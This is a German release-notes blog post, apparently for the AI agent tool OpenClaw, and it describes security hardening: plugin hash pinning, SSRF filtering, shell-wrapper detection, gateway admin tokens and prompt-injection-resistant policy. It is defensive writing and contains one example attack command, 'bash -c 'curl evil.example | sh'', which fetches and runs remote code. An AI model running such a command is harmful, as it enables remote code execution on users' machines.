Das meiste aus dieser Release-Serie wird in keinem Screenshot auftauchen. Zehn Tage, acht Releases, und der Großteil des Diffs liegt an Stellen, die du nie anschaust, außer es geht etwas schief — der Plugin-Loader, der URL-Resolver des Browser-Tools, die Config-Endpoints des Gateways, die Allowlist-Tabellen, das Dependency-Manifest. Sicherheitsarbeit ist ihrer Natur nach leise. Dieser Post ist die Langversion dieser Leise.
Wenn du OpenClaw auf einem Laptop fährst, auf dem auch deine SSH-Keys, dein Passwort-Manager, deine unfertige Steuererklärung und ein Browser liegen, der in alles eingeloggt ist — dann lies weiter. Das ist die Release-Serie, die verändert hat, was der Hummer anfassen darf.
Plugins werden jetzt verifiziert, nicht nur heruntergeladen
Vor 4.7 tat "ein Plugin aus der Registry installieren" genau das, was du erwartet hast: das Archive ziehen, entpacken, ausführen. Der Registry selbst wurde vertraut; das Archive wurde nicht nochmal geprüft. Wurde das CDN der Registry mitten im Transfer ausgetauscht, ein Mirror vergiftet oder jemand am Edge dazwischengeschaltet, hat der Hummer fröhlich installiert, was zurückkam.
4.7 schließt das. Jedes Plugin-Archive ist jetzt zum Publish-Zeitpunkt an einen SHA-256-Hash gepinnt, und der Installer weigert sich, etwas zu entpacken, dessen Bytes nicht übereinstimmen. Wenn du Plugins schreibst, legt der Flow von openclaw plugin publish den Hash jetzt automatisch ins Manifest — du musst nichts tun. Wenn du Plugins installierst, ist das erste Zeichen, dass etwas nicht stimmt, ein sauberer Fehler statt einer stillen Installation.
Das Follow-up in 4.9 hat dieselbe Verifikation auf Plugin-Updates ausgedehnt, die den Check stillschweigend übersprungen hatten, mit der Begründung, die alte Version sei ja schon durchgekommen. Genau nach solchen Annahmen suchen Angreifer. Sie ist weg.
Der SSRF-Filter des Browser-Tools, in drei Durchgängen
Das Browser-Tool lässt den Hummer Seiten abrufen, Links verfolgen, kleine JavaScript-Schnipsel ausführen und zurückgeben, was er findet. Es ist eines der nützlichsten Dinge im Produkt und zugleich eines der gefährlichsten — alles, was im Namen eines LLMs URLs abruft, kann dazu überredet werden, die falsche URL abzurufen. Server-Side Request Forgery (SSRF) ist der höfliche Name für diesen Fehlermodus.
In diesen zehn Tagen wurde der SSRF-Filter dreimal neu geschrieben.
4.7 hat den Host-Allowlist-Check so angezogen, dass er nach der DNS-Auflösung läuft, nicht davor. Die alte Version hat den Hostname-String gegen die Allowlist verglichen und dann aufgelöst. Das bedeutete: Ein Hostname, der extern aussah, aber über einen kontrollierten DNS-Eintrag auf 127.0.0.1 auflöste, konnte durchrutschen. Jetzt wird die aufgelöste IP gegen die Denylist privater und Loopback-Bereiche geprüft, und landet sie darin, wird der Request abgewiesen — egal, wie der Name aussah.
4.9 hat IPv6-Abdeckung hinzugefügt. Der vorherige Durchlauf behandelte 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8 und Link-Local — alles IPv4. Die IPv6-Äquivalente (fc00::/7, fe80::/10, ::1) waren technisch über den "nicht in der Allowlist"-Fallback abgedeckt, aber nie end-to-end getestet. 4.9 macht daraus First-Class-Denies und ergänzt die Testmatrix.
4.10 hat ein Schlupfloch beim Folgen von Redirects geschlossen. Wenn die erste URL den Filter passierte, aber ein 302 auf eine private IP ausstellte, wurde der Redirect ohne erneute Prüfung verfolgt. Jeder Hop in einer Redirect-Kette wird jetzt unabhängig gefiltert. Das Browser-Tool folgt den ganzen Tag einem Redirect von einem öffentlichen Host zu einem anderen öffentlichen Host; es folgt keinem von einem öffentlichen Host zu 169.254.169.254, und das ist die Adresse, die zählt, falls du das je innerhalb einer Cloud-Instanz laufen lässt.
4.14 ist die, die für manche einen echten Kompatibilitätsbruch verursachen wird. Sie deaktiviert file://-URLs auf der Oberfläche des Browser-Tools komplett. Lokale Dateien über das Browser-Tool zu lesen war ein nicht dokumentierter Nebeneffekt, auf den sich eine Handvoll Workflows zu stützen begonnen hatten, und es war falsch: Lokale Datei-Reads gehören zum File-Tool, das seine eigene Sandboxing-Geschichte hat. Wenn du browser.open('file://...') als Abkürzung benutzt hast, musst du auf file.read umsteigen und die Allowlist akzeptieren, die dieses Tool in deinem Setup erzwingt.
Ein neues CLI, um zu auditieren, was der Hummer ausführen darf
4.10 liefert openclaw exec-policy aus — ein Read-Only-CLI, das die effektive Shell-Ausführungspolicy für den aktuellen Workspace rausschreibt. Es sagt dir, in einem Bildschirm, welche Kommandos auf der Allowlist stehen, welche abgelehnt werden, welche Bestätigung verlangen und was die Quelle jeder Regel ist (User-Config, Workspace-Config, Plugin, Default).
Das ist das Kommando, das du nach dem Installieren eines neuen Plugins ausführen willst. Plugins können Shell-Kommandos registrieren; die meisten sind unproblematisch; einige weiten still das aus, was der Hummer ausführen darf. Vor 4.10 gab es keine einzelne Oberfläche, auf der du das kombinierte Ergebnis sehen konntest — du musstest mehrere Config-Dateien lesen und über Präzedenz nachdenken. Jetzt ist es ein Kommando, und die Ausgabe ist stabil genug, um sie in einen Test zu pipen.
Die Begleitänderung in 4.12 ist kleiner, aber gemein: Der Exec-Layer erkennt jetzt Shell-Wrapper-Aufrufe, die versuchen, Kommandos an der Allowlist vorbeizuschmuggeln. Das klassische Muster ist bash -c 'curl evil.example | sh', wenn bash erlaubt ist und curl nicht. Die Wrapper-Erkennung markiert die -c-Form, packt den inneren Command-String aus und schickt das innere Kommando durch die Allowlist, als wäre es direkt aufgerufen worden. Wäre das innere Kommando verweigert worden, wird auch der äußere Wrapper verweigert.
Die Config-Endpoints des Gateways haben Wächter bekommen
Wenn du OpenClaw im Gateway-Modus fährst — der Modus, in dem mehrere Clients eine Hummer-Instanz teilen — stellt das Gateway eine kleine Admin-API zum Lesen und Schreiben der Serverconfig bereit. 4.7 und 4.14 haben dieses Ende zugezogen.
4.7 hat config.apply (die gesamte Config ersetzen) und config.patch (ein teilweises Update mergen) aufgespalten. Beide gab es vorher, aber sie teilten sich einen Code-Path, und die Merge-Semantik war unterspezifiziert genug, dass du einen verschachtelten Admin-Key löschen konntest, indem du einen Geschwister-Key patchtest. Die Aufspaltung gibt jedem Verb einen eigenen Validator. Patches sind jetzt echte Deep-Merges, bei denen explizites Löschen den $delete-Sentinel erfordert; Applies verlangen eine vollständige gültige Config, sonst wird der Request abgewiesen.
4.14 hat auf beiden Endpoints eine Signed-Token-Anforderung ergänzt, wenn das Gateway an etwas anderes als localhost gebunden ist. Wenn du das Gateway auf einer Dev-Maschine mit --host 0.0.0.0 gefahren und dich darauf verlassen hast, dass Netzwerk-Segmentierung die Leute draußen hält — das Gateway weigert sich jetzt, in dieser Konfiguration zu starten, außer du gibst zusätzlich --admin-token mit oder machst explizit Opt-out mit --admin-insecure. Der Name des Flags ist absichtlich hässlich. Du sollst das Wort "insecure" tippen müssen, um das alte Verhalten zurückzubekommen.
Credentials, die versehentlich Template-Daten waren
4.12 hat eine lang herumgeschleppte hässliche Sache behoben: Die Datei .env.example, die mit neuen Workspaces ausgeliefert wird, enthielt Platzhalter-API-Keys, die echt genug aussahen, dass mindestens ein User sie in ein öffentliches Repo committet hatte, weil er dachte, sie wären Dummies. Sie waren Dummies — die Werte waren lauter Null-Strings und bei jedem Provider ungültig — aber sie hatten die Form von Credentials, und die Linters, die wir geprüft haben, haben sie als leaked gemeldet. Die neue .env.example verwendet offensichtlich falsche Tokens (REPLACE_ME_OR_I_WILL_FAIL), und der Flow von openclaw init weigert sich, eine .env-Datei zu schreiben, die einen dieser Sentinel-Werte enthält.
Kleine Sache. Geringe Folge. Aber die Kosten, es zu beheben, waren ein Nachmittag, und die Kosten, es nicht zu beheben, waren ein weiterer öffentlicher Incident, den wir hätten erklären müssen.
Allowlist-Grenzen, leise nachgezogen
Über jeden Release in dieser Serie hinweg wurden die Allowlist-Tabellen, die zwischen dem Hummer und der Außenwelt sitzen, in kleinen, konkreten Schritten enger gezogen:
- •4.5: Das Standard-Ausgabeverzeichnis des Musik-Tools ist jetzt
./generated/music— nicht mehr das, was der Workspace zufällig für "Output" hält. - •4.7: Memory-Import-Quellen sind auf
file://,https://und bestimmte Provider-URLs beschränkt. Der alte Code akzeptierte jedes URL-Schema, dasurllibparsen konnte, und darunter waren einige überraschende. - •4.9: Der Upload-Pfad des Video-Generierungs-Tools akzeptiert keine absoluten Pfade außerhalb des Workspace-Roots mehr.
- •4.10: Plugin-Manifeste dürfen
*nicht mehr als Allowlist-Pattern deklarieren. Sie müssen konkrete Domains oder Methoden benennen. - •4.14: Der eigene Client des Codex-Providers respektiert eine von der unified Allowlist getrennte Allowlist, damit das Anziehen bei Codex nicht versehentlich alles andere lockert.
Keines davon ist einzeln eine Geschichte. Zusammen verschieben sie den Blast Radius in die richtige Richtung.
Vertrauen in Runtime-Events, herabgestuft
Eine subtilere Änderung, die sich durch 4.7, 4.9 und 4.14 zieht: Events, die aus der Runtime kommen (Tool-Aufrufe, Modell-Outputs, Plugin-Callbacks), werden nicht mehr als vertrauenswürdiger Input für die Policy-Engine behandelt. Früher konnte ein Tool, das ein strukturiertes Event emittierte, spätere Allowlist-Entscheidungen durch Daten beeinflussen, die es selbst kontrolliert — der klassische Fehlermodus "Prompt Injection berührt die Policy-Schicht". Runtime-Events durchlaufen jetzt einen separaten Sanitization-Schritt, bevor sie irgendeine spätere Policy-Auswertung beeinflussen können, und die Policy-Engine behandelt jedes Feld mit Provenance "runtime" als tainted, außer ein menschlicher Operator hat es explizit gepinnt.
Praktisch heißt das, dass ein paar Edge-Case-Workflows, die sich darauf stützten, dass der eigene Tool-Output des Hummers sein eigenes Verhalten einschränkt, umgeschrieben werden müssen. Der beabsichtigte Weg, Verhalten einzuschränken, ist jetzt, eine Policy-Regel zu schreiben, nicht, ein Tool einen Hint emittieren zu lassen. Wenn dich das trifft, ist das exec-policy-CLI aus 4.10 das Diagnosewerkzeug.
Dependency-Audit
4.9 und 4.14 haben beide vollständige Durchläufe von cargo audit und npm audit gefahren und jede transitive Dependency mit offenem Advisory hochgezogen. Nichts aus der Liste wurde gegen OpenClaw ausgenutzt, soweit wir das sagen können; das ist Wartung, keine Incident-Response. Die Bumps sind absichtlich langweilig.
Der eine nicht langweilige Bump: Die WebSocket-Library, die das Gateway verwendet, hat in 4.14 eine Major-Version gewechselt, was geändert hat, wie Close-Frames ihren Reason-Code melden. Wenn du Code hattest, der event.reason auf dem Socket-Disconnect-Signal des Gateways liest — das ist jetzt ein String statt eines Buffers. Das ist ein Breaking Change. Es ist im 4.14-Changelog vermerkt.
Das neue Signal: KI-gestütztes Security-Audit
Das letzte Ding, das eine Erwähnung wert ist — 4.14 hat einen internen Workflow eingeführt, in dem ein zweites Modell sicherheitsrelevante Diffs reviewt, bevor sie landen. Es blockiert keine Merges; es hinterlässt Kommentare. In dieser Serie hat es zwei Dinge aufgefangen, die ein menschliches Review durchgewunken hatte: die IPv6-Lücke in der SSRF-Umschreibung von 4.9 (die vor dem Merge gefixt wurde) und die $delete-Sentinel-Uneindeutigkeit im config.patch-Split von 4.7 (aus der der explizite Validator statt des impliziten wurde).
Wir wollen das nicht überverkaufen. Ein zweites Modell ist kein Ersatz für einen zweiten Menschen. Aber es ist ein zweiter Durchgang, und in zehn Tagen schnell laufender Sicherheitsarbeit war es der Durchgang, der die zwei Dinge gefangen hat, die sonst ausgeliefert worden wären. Es bleibt.
Die Kurzfassung
Wenn du aus diesem Post nur eine Sache mitnimmst: Fahr openclaw update auf 4.14, dann fahr einmal openclaw exec-policy, um zu sehen, was der Hummer auf deiner Maschine tatsächlich darf. Wenn dich die Ausgabe überrascht, zieh es an. Der Sinn der letzten zehn Tage ist genau der: dass du das kannst.
Und wenn du einer von denen bist, die das Gateway auf --host 0.0.0.0 ohne Admin-Token fahren — bitte geh das fixen, bevor du openclaw update ausführst, denn 4.14 wird in dieser Konfiguration den Start verweigern, und es ist uns lieber, du liest erst diesen Post, statt die Fehlermeldung zu lesen und anzunehmen, es sei etwas kaputt.
